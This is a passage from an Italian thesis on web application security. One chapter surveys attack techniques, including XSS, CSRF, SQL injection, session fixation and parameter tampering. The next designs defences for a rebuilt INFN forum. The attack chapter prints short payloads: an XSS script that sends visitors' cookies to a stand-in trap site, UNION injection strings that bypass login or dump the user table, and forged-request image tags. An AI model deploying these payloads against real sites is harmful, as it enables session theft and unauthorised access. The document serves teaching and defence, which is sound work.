Information gathering - Messaggi ed errori
Non si tratta di un vero e proprio attacco, in quanto cerca di reperire qualunque
informazione tecnica su una applicazione. Ha una pericolosità bassissima ma
è il primo passo verso la maggioranza degli attacchi seri.
23
CAPITOLO 2. TECNICHE DI ATTACCO
24
Si parte dai messaggi di errore standard (400, 401, 404) per poi cercare di
trovare messaggi di notice o warning, spesso modificando le variabili in GET
e POST con delle sequenze casuali.
Si trovano facilmente dei tool free di testing automatizzato che riportano
le principali informazioni sul sistema e possono essere utili i port-scanner.
2.2
Cross-Site scripting
Questo tipo di attacco è uno dei più semplici da portare a termini. Esso
è diretto verso l’utente e non verso il sistema (direttamente). Ma quando
l’utente prescelto è un amministratore, allora lo scenario che si prospetta
all’applicazione cambia radicalmente.
Esso richiede una conoscenza minima del linguaggio JavaScript ed un sito
web che registri degli input utente, senza applicare un filtro, per stamparli
ad una richiesta successiva: ad esempio forum, blog, guest-book, il form di
commento ad un articolo (se ne trovano a bizzeffe). Alle volte viene adoperata
un messaggio di posta elettronica in html contenete lo script java. Prendiamo
l’esempio classico, il forum. L’utente, regolarmente registrato esegue login nel
sito, entra nel suo thread preferito e inserisce il seguente messaggio:
Ciao a tutti ragazzi!!
<script language="javascript" type="text/javascript">
alert(’Questo forum {è} stato spostato!!!’) ;
document.location =
reload(’http://www.il.mio.sito.trappola.com’) ;
</script>
Quando gli altri utenti andranno, incuriositi, a leggere il messaggio verranno
reindirizzati verso il.mio.sito.trappola.it non appena avranno premuto il pulsante ’ok’ del pop-up informativo. In questo sito si potranno inserire delle
funzioni per il logging degli indirizzi ip (un rudimentale spionaggio industriale), delle pubblicità pay-per-visit o semplicemente si ‘rubano’ gli utenti del
forum attaccato.
Il codice dell’esempio è fin troppo pulito. Vediamo un secondo esempio,
semplice ma assai più malizioso.
Ciao a tutti ragazzi!!
<script language="javascript" type="text/javascript">
CAPITOLO 2. TECNICHE DI ATTACCO
25
alert(’Questo forum {è} stato spostato!!!’) ;
document.location =
reload(’http://www.il.mio.sito.trappola.com/index.php’
+ document.cookie) ;
</script>
Con una piccolissima aggiunta stiamo rubando il cookie dell’inconsapevole
utente. Da tale informazioni potremmo estrarre una password che ci consenta
di fare scalata di privilegi sul sito attaccato, oppure ne possiamo estrarre
l’identificativo di sessione, che equivale a rubare la login del malcapitato.
2.3
Cross-Site request forgiers
Come il cross-site scripting, si tratta di una vulnerabilità che sfrutta un
utente per attaccare a sua insaputa un’altra applicazione sfruttandone i diritti
dell’utente attaccato.
L’attacco avviene nel momento in cui un utente che possiede diritti su
un server A (server attacato) visita una pagina su un server B (di proprietà
dell’attaccante e dove egli può introdurre una CSRF liberamente).
La pagina costruita dall’attaccante contiene solitamente dei tag che permettono di eseguire operazioni GET al browser come src in img, iframe etc.
Senza che l’utente se ne accorga possono essere eseguite operazioni su un altro
server (o anche sul server stesso).
<img src="https://trading.example.com/xfer?from=MSFT&to=RHAT">
<img src="https://books.example.com/clickbuy?book=ISBN&qty=100">
L’utente non si accorgerà di nulla, se non di non riuscire a visualizzare alcune
immagini.
L’attacco può essere eseguito anche inviando mail in formato HTML (come
per il cross-site scripting), permettendo di attaccare specifici utenti che si
trovano dietro un firewall.
Sono particolarmente vulnerabili ai CSRF le applicazioni web che eseguono operazioni ‘importanti’ attraverso semplici richieste GET utilizzano
sistemi di auto-login (...utenti che non eseguono il log-out).
CAPITOLO 2. TECNICHE DI ATTACCO
2.4
26
SQL Injection
Tutte le applicazione che fanno uso di una base di dati, in qualche punto del
codice eseguono delle query sql a partire da parametri utente. Ad esempio, è
probabile che la verifica di username e password d’utente inserite in un form
di login vengano validate eseguendo una query del tipo:
$query = "SELECT id FROM user
WHERE un=’".$user."’
AND pw=’".$pwd."’" ;
Tutti gli utenti immetteranno nel sistema i due parametri di autenticazione
eseguendo log-in nell’applicazione. La select che abbiamo appena visto, con
una coppia opportuna username/password potrebbe risultare molto diversa. Inserendo nei campi di testo una username qualunque ed una password
composta nel seguente modo
pwd_a_caso UNION SELECT * FROM user WHERE 1
l’attaccante entra nel programma senza bisogno di alcuna registrazione. La
query finale infatti apparirebbe cosı̀ :
SELECT id FROM user
WHERE un=’pippo’
AND pwd=’pwd_a_caso’
UNION
SELECT * FROM user
WHERE 1
Certamente Pippo non sarà presente nella tabella degli utenti ma comunque
questa richiesta sql ritorna un risultato non vuoto. Se il programmatore
esegue, in application layer, un controllo sull’id ci sono buone possibilità di
riconosce l’intruso. Se invece tale controllo si basa solo sulla numerosità delle
tuple della risposta, l’utente potrà entrare senza difficoltà.
Questa tecnica può essere anche adoperata per rubare dati.
Prendiamo come esempio esplicativo il solito forum. In ogni buon forum
è possibile vedere la lista degli utenti, almeno quelli che hanno dato il propri
consenso alla divulgazione dei loro dati personali oppure quelli che fanno parte
della discussione alla quale, chi chiede di vedere la lista utenti, fa parte.
CAPITOLO 2. TECNICHE DI ATTACCO
27
Spesso queste liste sono esageratamente lunghe, tali da prevedere una sistema a pagine successive che mostri un numero di risultati limitato. Per
fare questo si crea un form con due campi hidden, uno per il limite inferiore ed un’altro per la numerosità dei risultati. Alcuni sviluppatori, però,
preferiscono dare all’utente un minimo in più di libertà ed inserisco due campi
di testo in cui si possono inserire manualmente i limiti, in modo tale che chi
non voglia adoperare il sistema delle pagine possa inserire i valori 0 e 10.000,
ad es., per vedere dieci mila utenti, a partire dal primo, tutti in una sola
pagina.
Per reperire tali informazioni occorre porre al data-server una query simile
a
SELECT id, un, email, data_registrazione, sito_web, telefono
FROM user
WHERE consenso=1
AND discuss=’science and industry’
ORDER BY un ASC
LIMIT $min, $range
Le variabili ’min’ e ’range’ sono ricavate dai campi di testo. Potremmo
chiedere di vedere gli utenti da 0 fino a:
2 UNION SELECT id, un, email, data_registrazione,
sito_web, telefono FROM user WHERE 1
La risposta a questa query non è molto difficile da immaginare. Con la solita
tecnica della union abbiamo oltrepassato una protezione con cinque minuti.
Ed ovviamente questi sono esempio da hacker. Un cracker riesce a fare delle
cose strabilianti quando ne consegue un profitto.
Questo tipo di attacco, sebbene richieda solo la conoscenza dell’sql, e
degli errori ricorrenti del programmatore, necessita anche di un tempo lungo
per essere portato a termine, in quanto, per evitare un errore di sintassi occorre conoscere in modo approfondito, mediante prove successive, sia la struttura della base di dati, sia alcune implementazioni dell’applicazione software.
Ovviamente, cercare di fare SQL-Injection su un sito realizzato con phpBB
(prime versioni), i cui sorgenti sono aperti, ci farà risparmiare diversi giorni.
Un uso avanzato di tali vulnerabilità consente la creazione di un nuovo
record, la cancellazione di uno o più utenti oppure la distruzione dell’intero
database.
CAPITOLO 2. TECNICHE DI ATTACCO
2.5
28
Parameter Tampering
Si tratta di un attacco che approfittano del fatto che molti programmatori
confidano nei parametri nascosti, come ad es. i campi hidden, i campi di
testo fissi (read-only o disabilitati) oppure dei parametri fissi in GET (passati
attraverso la url location), come unica misura di sicurezza. Questi parametri
possono essere facilmente cambiati per scardinare ed aggirare i controlli di
sicurezza che ne fanno un grosso uso.
Nella maggior parte dei casi infatti è sufficiente salvare la pagina, editarla
cambiando i valori dei campi, caricarla nel browser e inviare la richiesta.
Nel nostro forum (di cui oramai nessuno si fida più), dopo aver stampato
i dati di tutti gli utenti, andando a vedere i dettagli di uno qualunque di essi
vediamo che la url richiesta è
http://www.hack.this.forum.com/detail.php?id=77492&mode=readonly
La nostra curiosità si fissa su quel parametro mode. Probabilmente si riuscirebbe ad accedere al profilo in modifica. Facciamo delle prove:
http://www.hack.this.forum.com/detail.php?id=77492&mode=readwrite
http://www.hack.this.forum.com/detail.php?id=77492&mode=write
http://www.hack.this.forum.com/detail.php?id=77492&mode=pippo
http://www.hack.this.forum.com/detail.php?id=77492&mode=
è probabile che uno di questi indirizzi ci conceda l’accesso in scrittura. A
questo punto, cambiando l’id (è probabile che id=1 sia una buona scelta)
avremmo in scrittura i dettagli dell’amministratore principale.
2.6
Manipolazione degli header HTTP
Gli header http sono l’invisibile punto di forza del web. Come abbiamo visto
nel primo capitolo, il client chiede una risorsa web semplicemente inserendo
nel browser una URL. In realtà, dopo aver premuto invio, il browser si accolla
una certa molte di lavoro. Ciò consiste nel tradurre la URL (che potremmo
dire in linguaggio umano) in una richiesta http (secondo la sintassi del protocollo, il linguaggio del layer applicativo) composta da un comando (GET,
POST e altri), un numero variabile di opzioni (sopratutto di carattere informativo) ed un contenuto (file, variabili di post). Ad esempio, l’indirizzo
http://someserver.com/index.html, digitato in mozilla, si trasforma in
CAPITOLO 2. TECNICHE DI ATTACCO
29
---------------------------------GET /index.html HTTP/1.1
HOST: http://someserver.com
Referrer: http://someserver.com
ACCEPT: */*
Accept-Encoding: None
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Connection: Close
Accept-Transfer-Encoding: None
---------------------------------A questa richiesta, il server invierà la pagina index.html secondo il protocollo.
Lavorando dietro le scene, fuori dalla portata dei comuni navigatori, molti
programmatori pensano che le informazioni degli header http siano una fonte
sempre valida e consentano dei controlli robusti. Molti infatti adoperano
lo user-agent ed il referrer1 per adattare o negare i contenuti a determinati
browser o client provenienti da determinati siti.
E’ possibile però manipolare la struttura della richiesta http sia automaticamente, ad es. configurando in modo opportuno il proprio browser, oppure
modificando la request tramite un proxy appropriato oppure, ancora, facendo delle richieste a basso livello in una sessione telnet aperta con il server
web I risultati di tale attacco sono simili a quelli che si hanno effettuato un
parameter tempering.
2.7
Brute force
L’attacco a forza bruta può essere considerato il più antico che sia stato mai
messo in atto. Nasce infatti contemporaneamente ai sistemi di autenticazione
ed è stato ereditato dalle applicazioni web.
Si basa su un principio semplicissimo: l’unico modo di trovare una password è provare ad inserirne qualcuna! Non si fa altro, insomma, che tentare
delle password casuali fino a quando il sistema concede l’ingresso. Le sequenze possono essere preimpostate (raccolte in dei vocabolari) oppure delle
costruite in modo sequenziale a partire da un set di caratteri.
In entrambi i casi dobbiamo considerare che raramente si può scoprire
una password in questo modo (posto che si conosce già una username valida).
1
pagina web che referenzia il sito web in questione
CAPITOLO 2. TECNICHE DI ATTACCO
30
Anche adoperando dei tool automatizzati, i vocabolari sono limitati ad alcune
centinaia di parole, fra le quali sopratutto nomi o sostantivi, mentre la ricerca
con set di caratteri ha tempi estremamente lunghi che si tenta di ridurre con
un set più piccolo possibile, e spesso insufficiente.
Inoltre tutti i programmi dell’ultima generazione richiedono password con
lunghezza non inferiore ai 6 caratteri (spesso 8) ed eseguono dei controlli
preventivi rispetto al nome, cognome e data di nascita dell’utente.
Il brute force può dare risultati rapidi solo quando è affiancato da un po’
di ingegneria sociale o dalla conoscenza delle abitudini di un utente.
2.8
Known vulnerabilities
Il mercato delle applicazioni web è stato conquistato da diversi prodotti: phpBB e phpNUKE, open-source e freeware, sono quelli più largamente utilizzati
dai web master inesperti, che scelgono spesso soluzioni gratuite per aprire la
’finestra sul mondo’ alla loro azienda o per un sito personale.
Il primo dei due permette la gestione completa dei forum mentre phpNUKE, che deriva da BB, offe la possibilità di creare un portale completo e
veramente efficiente. Si possono installare diversi moduli per il caricamento di
file, la gestione della sicurezza, per migliorare il pannello di amministrazione,
la web-mail, e non mancano moduli casalinghi ad-hoc reperibili gratuitamente
in rete.
Il problema di un uso cosı̀ ampio di questi software, standardizzati, è
quello di standardizzare le vulnerabilità. Quindi, se un attaccante scopre una
vulnerabilità in un sito phpBB, può adoperare la stessa tecnica per immettersi
in qualunque altro sito realizzato con la stessa tecnologia. Da qui il nome di
attacco alle ’vulnerabilità note’.
D’altro canto, alla scoperta del problema, è sufficiente applicare delle
patch e tutto è risolto. A livello preventivo è sufficiente aggiornare in continuazione il sito con le ultime versioni (diffidando delle ultimissime e delle
beta) per garantire un livello di sicurezza accettabile.
Sembra quindi che quello alle vulnerabilità note sia un attacco di bassissima probabilità e destinato a scomparire. Non è cosı̀ e lo dimostra un caso
che ha scioccato gli sviluppatori di phpNuke: il worm Santy ed i worm delle
web application.
Un worm deve essere capace di cercare la sua vittima e la vulnerabilità
CAPITOLO 2. TECNICHE DI ATTACCO
31
da cui è affetta. Un metodo per portare a termine l’attacco con il quale il
sito verrà reso inutilizzabile ed il codice verrà replicato sul nuovo dominio dal
quale far partire un nuovo attacco.
Santy.A, scritto in perl, in meno di 150 righe, inizia il suo ’lavoro’ con
un po’ di information gathering, reperendo su Google i link che rispondono
alla query ‘viewtopic.php’ (una delle pagine principale di phpBB). Sfruttando
una vulnerabilità nota, tramite una request particolare a viewtopic.php (ad
iniezione di codice di sistema), riesce a scaricare il codice del worm nel server
attaccato ed eseguirlo infettando la macchina. Una volta infettato sovrascrive
tutti i file html e php del sistema ed inizia un altro ciclo: risultato, 75.000
siti defacciati in poche ore.
2.9
Directory traversal e Path Disclosure
Molte applicazioni web utilizzano il file system del web server nel layer di
presentazione per salvare informazioni, sia in modo temporanea che permanente. Ciò può includere immagini, file html, CGI. Tali file possono essere
dentro o fuori dalla WWW-ROOT, la directory nel web server, accessibile al
client, che virtualmente viene considerata la radice dell’albero del dominio.
Se l’applicazione non gestisce propriamente le richieste del client siamo di
fronte ad una vulnerabilità da ’attraversamento delle directory’: l’attaccante
può girare liberamente per il file system, uscendo dalla WWW-ROOT per
introdursi, se il web server ne ha i permessi, nelle directory di sistema e/o di
utenti.
Se il sistema permette la lettura di file in directory normalmente non
accessibili, esso è affetto da ’path disclosure’: l’attaccante può forgiare delle
richieste mirate alla restituzione del contenuto di file noti (specialmente di
sistema) fra i quali il più pericoloso è certamente /etc/passwd2 .
2.10
Session Fixation
HTTP è un protocollo stateless, cioè non memorizza alcuna informazione
riguarda allo stato della comunicazione, in particolare circa le richieste successive di uno stesso utente. Moltissime applicazioni basate su web sviluppano
2
file delle password degli utenti unix del server
CAPITOLO 2. TECNICHE DI ATTACCO
32
qualche tipo di gestione della sessione3 per creare un ambiente user-friendly.
Le variabili di sessioni sono salvate sul server ed associate ad un identificativo
(session id). Questo numero identificativo è un obiettivo molto goloso per un
attaccante, che, ottenendolo, può effettivamente sostituirsi all’utente al quale
l’id di sessione è stato rubato.
Il client può inviare al server, il suo identificativo in tre modi: in GET,
tramite parametro nella URL; in POST, come campo hidden di una form;
con un header HTTP, come informazione salvata in un cookie settato dal
server. Sebbene i primi due metodi siano quelli più largamente supportati, essi
richiedono uno sforzo in fase di sviluppo non banale (basta perdere l’ID in una
pagina per perdere definitivamente la sessione). Per evitare questi problemi, si
sceglie normalmente la terza soluzione. Questa non richiede alcuno sforzo per
lo sviluppatore. Infatti è il server che si occupa della gestione dell’ID secondo
uno schema con pochi passaggi: quando il client invia la prima request, il
server allega nella response Set-Cookie, un header che indica al client di creare
un file in cui salvare una stringa; tale stringa verrà di nuovo inviata al server,
nelle successive richieste, tramite l’header HTTP Cookie.
Tramite il cookie, l’utente può essere riconosciuto in sessioni successive
diverse, e la perdita della sessione è provocata solo dalla scadenza del cookie,
dalla sua cancellazione manuale, oppure dal log-out (l’applicazione si occupa
di modificare l’ID con uno non corretto che non possa essere accettato dal
client).
Vediamo in particolare i passaggi, mostrati in figura 2.1, di questo attacco
che può risultare molto pericoloso:
1. Session setup: inizialmente, l’attaccante instaura un ‘trap session’ sul
server da attaccare e ottiene l’ID di sessione, o seleziona un ID arbitrario
da adoperare. In alcuni casi la trappola deve essere mantenuta per
evitare il time out di sessione (1a).
2. Session fixation: l’attaccante deve introdurre il suo ID nel browser
dell’utente che accede al server attaccato.
3. Session entrance: alla fine, l’attaccante deve aspettare che l’utente
esegua login nel server, utilizzando l’ID inviatogli.
La gestione dei cookie può essere di tipo permissivo, il server accetta un ID
arbitrario, se non in uso, oppure stretto, se il server impone un ID generato al
3
lasso di tempo che va dalla prima richiesta sino alla chiusura del browser
CAPITOLO 2. TECNICHE DI ATTACCO
Figura 2.1: Flow chart di un attacco session fixation
33
CAPITOLO 2. TECNICHE DI ATTACCO
34
momento della request. Nel primo caso l’attaccante sceglie un ID arbitrario,
mentre nel secondo deve eseguire un login per ottenere la sessione e ricordare
l’ID assegnatogli.
Per quanto riguarda il secondo step, il meccanismo di imposizione del ID
dipende dal sistema di comunicazione dell’ID. In particolare, se esso è inviato
tramite url, l’attaccante deve imporre un link tramite qualche trucco. Se invece il passaggio avviene in POST (campo hidden) occorre replicare la form di
autenticazione e porla in una mail oppure in un server fantasma. Nell’ultimo
caso occorre, invece, creare o modificare il cookie nel pc dell’utente. Questo
è possibile con tre metodi:
• utilizzando un cross-site script che imposti il cookie (il codice javascript
si limita ad una sola riga: document.cookie=’sessionid=1234’) ;
• utilizzando la tag html <META> con attributo Set-Cookie in una pagina
HTML che l’utente visiterà (ad es. la solita mail in html) ;
• utilizzando l’header http Set-Cookie. Questo metodo richiede una discreta conoscenza di servizi e protocolli di rete. Può essere effettuato confondendo il dns server dell’utente, forgiando un pacchetto tcp ad-hoc,
attaccando un host nel dominio del server.
2.11
Session hijacking
Questo attacco ha le stesse finalità del session fixation ma, tecnologicamente,
è un po’ diverso e più semplice da portare a termine, anche se consente una
libertà per l’attaccante decisamente minore.
Nell’attacco non si impone un ID di sessione all’utente, ma glielo si ruba
dopo che egli abbia eseguito un login valido. Il furto può avvenire per crosssite script, sniffing della rete, estrapolazione dal refereer inviato ad un altro
server e per brute-forcing. In questo ultimo caso, eseguendo prove successive,
si può ’indovinare’ un ID valido da poter utilizzare. Il processo può essere
facilitato da una struttura fissa del valore di ID, ad es. codifica esadecimale
del nome utente concatenato alla data odierna.
Ottenuto l’ID, esso è valido per un solo attacco al server, mentre l’ID
ottenuto per fixation può (in base a diversi fattori) essere valido all’infinito.
CAPITOLO 2. TECNICHE DI ATTACCO
2.12
35
Cookie poisoning
L’avvelenamento dei cookie è una delle tecniche di manipolazione dei parametri di applicazione. Abbiamo visto come possa essere applicata per truccare
l’ID di sessione e rubare l’identità di un utente. Può essere adoperata con gli
stessi scopi ed gli stessi risultati della manipolazione delle variabili in GET
oppure in POST.
Praticamente non facciamo altro che trovare la directory in cui il proprio
browser salva il cookie (generalmente chiamato utentesito.it), aprirlo con un
editor testuale per modificarlo e, dopo averlo salvato, aggiornare la pagina
nel browser.
Un’altra strada praticabile è l’installazione sul pc dell’attaccante di un
semplicissimo proxy o browser che consenta la modifica della request http
prima del suo invio: alcuni esperimenti rudimentali possono essere portati a
termine con WFetch, reperibile in rete.
2.13
Esecuzione di comandi di sistema
Il PHP (ed anche altri linguaggi server side) hanno funzioni built-in per l’esecuzione di comandi di sistema direttamente dallo script. Queste soluzioni
possono essere molto veloci e prestanti, oltre che obbligate in alcuni casi.
L’uso comune riguarda la gestione del file system, l’invio di email e il forward
di compiti particolari a tool di sistema appositamente creati o messi a disposizione dalla shell (vedi htmldoc o latex per la generazione istantanea di pdf
a partire da file o dati salvati in database).
Spesso, come avviene per SQL injection, i comandi eseguiti contengono
delle variabili inviate dall’utente. Inviando request particolari, è possibile, in
base al controllo definito dalla configurazione del web server e dell’interprete
php, eseguire del codice arbitrario sulla macchina attaccata.
Le funzioni sensibili non sono soltanto la system e shell cmd (cit [13])
ma anche chmod, chown, chroot, eval ed exec che, con gradi di rischio e di
impatto diverso possono mettere il sistema in pericolo.
Capitolo 3
Tecniche specifiche per la difesa
Ciò che dobbiamo imparare lo impariamo facendo
(Aristotele)
Vedremo in questo capitolo le tecniche di difesa, alcune basilari altre avanzate, messe in atto dagli sviluppatori e dai progettisti per mitigare (o bloccare)
i rischi da attacco digitale.
Verrà progettato un forum radicalmente diverso da quello usato negli esempi del capitolo precedente: esso deve consentire lo scambio di file e messaggi altamente riservati fra i componenti di alcuni gruppi di lavoro fra i
quali dirigenti del comparto R&D, il nucleo di valutazione qualità, il comitato decisionale. A tal fine eseguiremo un attento studio dell’efficienza delle
diverse possibilità ed applicheremo, in ogni componente, la migliore, oppure
le due/tre migliori se ne riscontreremo la necessità.
3.1
INFN Forum
Il forum INFN è uno strumento messo a disposizione per due finalità principali: dare supporto agli utenti delle applicazioni web sviluppate dalla Divisione Gestione Dati Ricerca e dare ai gruppi di lavoro un punto di riferimento
dove poter scambiare messaggi e file.
Attualmente è realizzato con phpBB, al quale sono state apportate delle
36
CAPITOLO 3. TECNICHE SPECIFICHE PER LA DIFESA
37
modifiche strutturali ed estetiche per adattarlo alle esigenze degli utenti e
degli amministratori.
Con le conoscenze acquisite nello studio degli attacchi, possiamo dire che
non rispetta le direttive di sicurezza che abbiamo imposto in fase progettuale.
Vogliamo riprogettare il forum, basandoci sulla nuova conoscenza specifica acquisita. Il procedimento di sviluppo seguirà la tecnica di programmazione estrema1 : verrà prodotto un software valido tramite lo sviluppo e
l’immediato testing di piccole parti con frequenti ritorni alla fase progettuale
per constatare la correttezza delle specifiche, che risulteranno il punto chiave
del prodotto; solo alla fine verranno raccolti e normalizzati i documenti per
produrre una relazione di progetto.
3.1.1
Specifiche iniziali
Stendiamo un documento di specifica orientativo per meglio inquadrare gli
obbiettivi del progetto.
Requisiti funzionali
• L’applicazioni deve in primo luogo fornire la possibilità di raccogliere
una serie di messaggi, catalogandoli per argomento all’interno di un
forum ;
• Il forum deve avere a disposizione uno spazio in cui gli utenti possano
inserire e copiare file inerenti il lavoro del forum ;
• Gli utenti, dipendenti ed associati INFN, devono essere registrati ;
• Ogni utente può, in base alla carica che ricopre ed ai progetti di cui
si sta occupando, essere inscritto nei relativi gruppi di lavoro. Ogni
gruppo può portare partecipare ai forum di un particolare progetto.
Requisiti non funzionali
• Gli utilizzatori sono divisi in utenti, moderatori ed amministratori. Gli
amministratori si occupano della gestione e della manutenzione dell’applicazione software. Ai moderatori spetta il compito di vigilare sul corretto svolgimento dell’attività del forum. Gli amministratori possono
ricoprire il ruolo di moderatori ;
1
Extreme programming, di seguito definita anche XP
CAPITOLO 3. TECNICHE SPECIFICHE PER LA DIFESA
38
• Le informazioni ed i messaggi degli utenti devono essere protetti e
visualizzabili dai soli appartenenti al gruppo.
3.2
Progettazione del Database
Dall’analisi del documento preliminare emergono le entità principali: l’utente,
il gruppo di utenti, il forum costituito da diversi topic a loro volta composti
da messaggi; i file si riferiscono ad un forum e ad un suo topic (per controllo di
accesso e velocizzazione delle query). Cercando di ridurre la minino la replicazione dei dati e avendo come obbiettivo la velocità delle query, si rendono
necessarie le seguenti tabelle di relazione: utente-gruppo (di cardinalità m-n)
e gruppo-forum (m-n), le tabelle di relazione fra le restanti entità possono
essere aggregate nella entità stesse (si tratta infatti di relazioni 1-n).
Vediamo nelle figure 3.1 (pag. 40) e 3.2 (pag. 41) la struttura definitiva
del database
Secondo tale struttura un utente può appartenere a diversi gruppi (di
cui può essere o meno moderatore) ed i gruppi possono appartenere a diversi forum (ad es. i cinque presidenti di Commissione Scientifica Nazionale
apparterranno a tutti i gruppi ed a tutti forum).
La relazione fra gruppi e forum è basilare in quanto contiene i flag di
autorizzazione per le singole operazioni (posting, reply, edit e delete)
3.3
Linee guida
Validazioni di input ed output La maggioranza degli attacchi, direttamente o indirettamente, ha come vettore gli input e gli output che si
scambiano fra client e server. Un controllo attento di tali dati limita in
modo significativo l’occorrenza di rischi.
Fail Securely Quando il programma si dovesse trovare in errore a causa di
un attacco, ogni possibilità di accesso deve essere bloccata. Cosı̀ come
per i firewall, i quali devono essere in grado di scartare tutti i pacchetti
successivi al verificarsi di un errore.
Semplicità Un sistema sicuro deve rimanere comunque usabile. Non si può
imporre all’utente di inserire tre password ogni trenta minuti.
CAPITOLO 3. TECNICHE SPECIFICHE PER LA DIFESA
Figura 3.1: Struttura Entità-Relazioni della base di dati
39
CAPITOLO 3. TECNICHE SPECIFICHE PER LA DIFESA
40
Figura 3.2: Tabelle accessorie per lo sviluppo dell’applicazione
Riuso dei componenti sicuri Il riuso di codice testato è affetto da un
numero decisamente basso di vulnerabilità.
Sicuro come il nodo più debole Ovviamente, come ribadito più volte, la
sicurezza dell’intero sistema è data dal livello di sicurezza riscontrabile
nell’anello più debole della catena dei componenti, tenendo conto della
rete, del sistema operativo, del web server e dell’applicazione web.
Bassi privilegi Il sistema deve essere disegnato in modo tale da funzionare
col minimo assoluto dei privilegi, in modo tale che ogni tentativo di
accesso a zone riservato venga bloccato dal sistema operativo, in cooperazione stretta con l’applicazione web.
Difesa a più livelli Non possiamo rilegare tutta la nostra fiducia in un singolo componente che funzioni al 100%, predicendo le future minacce.
Occorre pianificare lo sviluppo delle difese, per cui quando un componente può fallire la sua funzione di controllo, deve essere accompagnato
da un secondo componente che rimedi alle falle secondo uno schema a
cascata
CAPITOLO 3. TECNICHE SPECIFICHE PER LA DIFESA
41
Sicurezza come processo La difesa non è un prodotto ma un processo che
bisogna correggere e riprogettare di continuo per adattare alle nuove
richieste ed alle nuove minacce.
3.4
Validazione dei dati
Dal capitolo precedente abbiamo appreso come la maggior parte dei problemi
scaturisca dall’interazione applicazione-utente attraverso i dati in input e in
output. Possiamo quindi affermare che un primo grado di protezione è offerto
dal controllo sulla correttezza e la bontà di tali dati.
Le strategie di validazione dei dati si basano su tre regole fondamentali
(cito [1]):
• accettare solo dati conosciuti ;
• scartare i dati sconosciuti ;
• applicare una sanitizzazione dei dati non corretti o potenzialmente pericolosi.
3.4.1
Contromisure specifiche per...
Coss Site scripting Scoprire questo attacco può essere molto facile in tutti
gli ambienti in cui non è mai richiesto che l’utente possa caricare uno
script java a sua discrezione. Infatti, tutti gli input contenenti la tag
script, con i diversi attributi (type, language, scr, etc.) possono essere
considerate delle sequenze dati pericolose e quindi scartate. Eventualmente si può convertire il codice iniettato, tramite le entità speciali
html, in un testo piatto.
Iniezioni SQL Le iniezioni sql sono appena più complicate. Possono essere
scoperte eseguendo una serie di controlli riguardo la presenza delle parole chiave (SELECT, UNION, DELETE, etc.) e sulla loro vicinanza
(ad es. la parola ’select’ sarà sempre molto vicina alla parola ’from’ e da
essa separata da una sequenza variabile). Ovviamente occorre evitare
il passaggio di intere query sql tra client e server (in GET o POST)
Iniezioni di comandi Come contromisura a questo attacco è possibile innanzitutto adoperare delle funzioni php che eseguono al loro interno un
CAPITOLO 3. TECNICHE SPECIFICHE PER LA DIFESA
42
controllo circa la pericolosità del comando che si intende lanciare. In
secondo luogo, anche qui, è possibile eseguire dei controlli sulle stringhe
mirati ad eliminare le sequenze che contengono comandi pericolosi noti
(mv, rm, etc.)
Parameter tempering Il controllo puntuale delle variabili non deve essere
effettuato soltanto sulle sequenze maliziose note, ma deve essere esteso
euristicamente a tutto il flusso dati in ingresso/uscita. Operando in
questo modo possiamo ottenere un certo grado di difesa verso l’information gathering, preludio di tutti gli attacchi, e contro gli errori degli
utenti
3.5
Sistema delle autorizzazioni
Possiamo considerarlo il vero cuore del sistema di sicurezza che si cerca di
erigere intorno ad un servizio: esso assicura il primo strato di protezione dell’informazione e nel contempo seleziona e migliora (passivamente) gli attacchi,
che diventano sempre più precisi man mano che vengono alzate barriere più
sottili e sofisticate.
Prima di entrare nel dettaglio si dovrebbe chiarire il significato dei termini
che verranno adoperati:
autenticazione è il sistema che verifica, effettivamente, che un individuo è
chi sostiene di essere ;
identificazione la determinazione che un individuo sia conosciuto o meno
dal sistema
autorizzazione il conferimento ad un utente del diritto ad accedere a specifiche risorse del sistema, sulla base della sua identità ;
controllo dell’accesso l’insieme di meccanismi che garantiscono che le entità che accedono a delle risorse in un sistema lo facciano nel rispetto
di una serie di regole predefinite.
3.5.1
Controllo degli accessi
È bene distinguere chiaramente tra autenticazione e controllo degli accessi. Il
controllo degli accessi assume che l’identità dell’individuo sia stata verificata
con successo prima di imporre una propria politica.
CAPITOLO 3. TECNICHE SPECIFICHE PER LA DIFESA
43
In generale non esistono politiche che siano migliori di altre, piuttosto
esistono politiche che assicurino maggiore protezione di altre, ma non tutti i
sistemi hanno gli stessi requisiti di sicurezza. La scelta delle politiche dipende
dall’ambiente che si deve proteggere possono essere distinte in due grosse
categorie: politiche discrezionali e politiche mandatorie.
Nella definizione di un sistema di controllo degli accessi distinguiamo
diverse componenti:
• i soggetti cioè le entità attive del sistema, quelle che svolgono le operazioni, tipicamente utenti e processi
• gli oggetti cioè le entità si cui vengono svolte le operazioni, tipicamente
file, data base, stampanti, ecc...
• le operazioni che i soggetti possono svolgere sugli oggetti come read,
write, execute, run, ecc...
• per ogni oggetto esiste un soggetto speciale, il proprietario, che gode di
particolari diritti sull’oggetto stesso.
I controlli che il sistema deve effettuare vengono espressi attraverso opportune regole di controllo degli accessi che definiscono per ogni coppia soggettooggetto le possibili operazioni che possono essere svolte. Esistono diversi
approcci per la definizione di tali regole, quelli più noti sono:
• DAC (Discretionary Access Control) ;
• MAC (Mandatory Access Control) ;
• RBAC (Role Based Access Control).
DAC e MAC sono stati definiti per la prima volta nell’Orange Book (o
TCSEC, Trusted Computing System Evaluation Criteria). DAC è sostanzialmente il sistema di riferimento per la definizione di regole per il controllo
degli accessi da utilizzare in applicazioni i cui requisiti di sicurezza sono quelli dettati dal mondo commerciale o civile. MAC trova la sua applicazione
essenzialmente in applicazioni di tipo militare.
Nel sistema DAC, il proprietario di un oggetto determina chi vi può accedere e quali operazioni può svolgere sull’oggetto stesso. Esso viene usato
in tutti quei sistemi in cui i dati possono essere facilmente ricondotti ad un
proprietario e dove esiste la necessità di condividere o scambiarsi tali dati
CAPITOLO 3. TECNICHE SPECIFICHE PER LA DIFESA
44
con altri utenti senza dover chiedere un’autorizzazione all’amministratore del
sistema o della base di dati.
Un sistema di controllo degli accessi basato sull’approccio DAC può essere
anche gestito centralmente. In questo caso l’amministratore del sistema deve
diventare proprietario di tutti i dati presenti nel sistema e determina quali
operazioni assegnare a ciascun utente.
L’approccio più diffuso per l’implementazione di un sistema DAC è quello
che usa le ACL (Access Control List). Esiste una ACL, per ogni oggetto di un
sistema, che specifica tutti i soggetti abilitati all’accesso a questo oggetto e le
operazioni che vi possono svolgere. La maggior parte dei DBMS commerciali
consente oggi di definire, associate con i vari schemi della base di dati, delle
